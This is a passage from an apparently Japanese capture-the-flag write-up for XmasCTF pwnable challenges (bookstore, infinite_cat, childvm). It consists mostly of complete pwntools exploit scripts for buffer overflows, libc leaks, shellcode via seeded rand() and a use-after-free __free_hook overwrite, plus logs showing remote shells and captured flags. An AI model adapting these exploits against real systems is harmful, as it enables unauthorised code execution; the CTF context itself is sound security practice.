log.info('Pwning')

fake_addr = 0x6063c0

payload = 'a'*0x40 + p64(0x0) + p64(fake_addr + 8)
create_pub('hoge', payload)
add_book('xxxx', 'yyyy', 1, '')
sell_book('xxxx', 0x000000000605fe8) # stdout

payload = 'a'*0x40 + p64(0x0) + p64(fake_addr + 0x10)
create_pub('fuga', payload)
add_book('wwww', 'zzzz', 1, '')
sell_book('wwww', 0x6)

payload = 'a'*0x40 + p64(0x0) + p64(fake_addr)
create_pub('piyo', payload)
add_book('oooo', 'pppp', 1, '')

view_books()
for i in range(3):
    conn.recvuntil('Publisher : ')

libc_base = u64(conn.recv(6) + '\x00\x00') - 0x0000000000020740
log.info('libc_base = 0x%x', libc_base)
one_gadget = libc_base + 0xf1117


environ = libc_base + 0x3c6f38
fake_addr = 0x6063e0

payload = 'a'*0x40 + p64(0x0) + p64(fake_addr + 8)
create_pub('hoge', payload)
add_book('1', 'yyyy', 1, '')
sell_book('1', environ&0xffffffff) 

payload = 'a'*0x40 + p64(0x0) + p64(fake_addr + 8 + 4)
create_pub('hoge', payload)
add_book('2', 'yyyy', 1, '')
sell_book('2', environ>>32) 

payload = 'a'*0x40 + p64(0x0) + p64(fake_addr + 8 + 8)
create_pub('hoge', payload)
add_book('3', 'yyyy', 1, '')
sell_book('3', 6) 

payload = 'a'*0x40 + p64(0x0) + p64(fake_addr)
create_pub('4', payload)
add_book('4', 'pppp', 1, '')

view_books()
for i in range(7):
    conn.recvuntil('Publisher : ')

stack_base = u64(conn.recv(6) + '\x00\x00')
log.info('stack_base = 0x%x', stack_base)

# libc_start_main+240 -> one_gadget_rce
write_word(stack_base-0xf0, 0xd08e7)
conn.interactive()
root@ubuntu:~/ctf/XmasCTF/bookstore# python exp.py  r
[*] '/root/ctf/XmasCTF/bookstore/bookstore'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to 207.148.67.213 on port 1337: Done
[*] Pwning
[*] libc_base = 0x7fba5dc79000
[*] stack_base = 0x7ffd89fb90d8
[*] Switching to interactive mode
1. Add Book
2. Create Publisher
3. View All Book
4. List Publisher
5. Sell Book
5. Exit
$ 6
$ id
uid=1000(bookstore) gid=1000(bookstore) groups=1000(bookstore)
$ cat /home/bookstore/flag
XMAS{ca11_m3_010-5328-7405}

[PWNABLE] INFINITE CAT THEOREM

ランダムに生成されたバイト列が実行されるが、srand()に渡るseedはstack bofによって任意の値にできる。また同時にstack bofによってreturn addressを操作できるので、任意のseedによるsrand()を実行させることができる。これを用いてexecve('/bin/sh')を実行するシェルコードを生成した。 get_seed()はour godが書いてくれた。感謝。

#!/usr/bin/env python
from pwn import *
from ctypes import *

context(os='linux', arch='amd64')
# context.log_level = 'debug' # output verbose log

libc = cdll.LoadLibrary("libc.so.6")

RHOST = "45.32.113.43"
RPORT = 12025
LHOST = "127.0.0.1"
LPORT = 12025

# libc = ELF('')
elf = ELF('./infinite_cat')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        b *0x400B0A
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./infinite_cat'], gdbscript=execute)
else:
    conn = process(['./infinite_cat'])
    # conn = process(['./infinite_cat'], env={'LD_PRELOAD': ''})

# preparing for exploitation

def get_seed(n):
  if isinstance(n, basestring):
    n = ord(n)
  for i in xrange(0,65536):
    libc.srand(c_int(i))
    if libc.rand() % 256 == n:
      return i
  return None

def make_byte(seed):
    conn.sendlineafter('length: ', '1')
    time.sleep(0.01)
    payload = 'x'* 0xc + p64(seed) + p64(0) * 3 +  p64(main_addr)
    conn.sendafter('your cat makes seed dynamic, any comment?', payload)
    time.sleep(0.01)

log.info('Pwning')

main_addr = elf.symbols['main']

shellcode = asm(shellcraft.sh())
for c in shellcode:
    make_byte(get_seed(c))

time.sleep(1)
conn.sendlineafter('length: ', '1')
conn.sendafter('your cat makes seed dynamic, any comment?', 'hoge')

conn.interactive()
root@ubuntu:~/ctf/XmasCTF/infine_cat# python exploit.py r
[*] '/root/ctf/XmasCTF/infine_cat/infinite_cat'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to 45.32.113.43 on port 12025: Done
[*] Pwning
[*] Switching to interactive mode

length: $ 1
your cat makes seed dynamic, any comment?
$ hoge
Now printing...

$
███╗   ██╗ ██╗   ██╗   █████╗    ███╗   ██╗  ██████╗
████╗  ██║ ╚██╗ ██╔╝  ██╔══██╗   ████╗  ██║ ██╔════╝
██╔██╗ ██║  ╚████╔╝   ███████║   ██╔██╗ ██║ ██║  ███╗
██║╚██╗██║   ╚██╔╝    ██╔══██║   ██║╚██╗██║ ██║   ██║
██║ ╚████║    ██║     ██║  ██║   ██║ ╚████║ ╚██████╔╝
╚═╝  ╚═══╝    ╚═╝     ╚═╝  ╚═╝   ╚═╝  ╚═══╝  ╚═════╝

$ id
uid=1000(infinite_cat_theorem) gid=1000(infinite_cat_theorem) groups=1000(infinite_cat_theorem)
$ cat flag
XMAS{your_cat_will_write_works_of_Shakespeare}

[PWNABLE] CHILDVM

独自VMfree()後にポインタのクリアをしないため、unsortedbinに入るチャンクからだとlibcのアドレスをリークできる。あとは値をリークさせてから__free_hooksystem()を書き込んだ。

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='i386')

RHOST = "45.32.113.43"
RPORT = 31338
LHOST = "127.0.0.1"
LPORT = 31338

# libc = ELF('./libc.so.6_32')
elf = ELF('./childvm')

offset = 0x1b27b0
def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./childvm'], gdbscript=execute)
else:
    conn = process(['./childvm'])
    # conn = process(['./childvm'], env={'LD_PRELOAD': './libc.so.6_32'})

# preparing for exploitation

log.info('Pwning')

def movi(op1, op2):
    return chr(16) + p32(op1) + p32(op2)
def malloc(op1, op2):
    return chr(32) + p32(op1) + p32(op2)
def free(op1, op2):
    return chr(48) + p32(op1) + p32(op2)
def movxy(op1, op2):
    return chr(64) + p32(op1) + p32(op2)
def sub(op1, op2):
    return chr(80) + p32(op1) + p32(op2)
def read(op1, op2):
    return chr(112) + p32(op1) + p32(op2)
def movm(op1, op2):
    return chr(128) + p32(op1) + p32(op2)
def puts(op1, op2):
    return chr(144) + p32(op1) + p32(op2)


payload = ''
payload += malloc(0x80, 0xdeadbeef)
payload += movm(0, 3)
payload += malloc(0x80, 0xdeadbeef)
payload += free(0,0)
payload += puts(0,0)
conn.send(payload)
time.sleep(0.1)
conn.recvuntil('\xb0')
conn.recv(3)
libc_base = u32(conn.recv(4)) - offset
log.info('libc_base = 0x%x', libc_base)

payalod = ''
payload += movm(0, 3)
payload += movi(1, 0x9)
payload += read(0, 0)
payload += '/bin/sh\x00\x00'
payload += movi(2, libc_base + 0x1b38b0)
payload += movm(0, 2)
payload += read(0, 0)
payload += p32(libc_base + 0x3ada0)*2 + 'a'
payload += movm(0, 3)
payload += free(0, 0)
conn.send(payload)

conn.interactive()
root@ubuntu:~/ctf/XmasCTF/childvm/childvm# python exploit.py r
[*] '/root/ctf/XmasCTF/childvm/childvm/childvm'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[+] Opening connection to 45.32.113.43 on port 31338: Done
[*] Pwning
[*] libc_base = 0xf75b1000
[*] Switching to interactive mode

\xb07v�7v�
$ id
uid=1001(childvm) gid=1001(childvm) groups=1001(childvm)
$ cat flag
XMAS{i'm_not_solo_TT}

おわりに

メリークリスマス!!!!!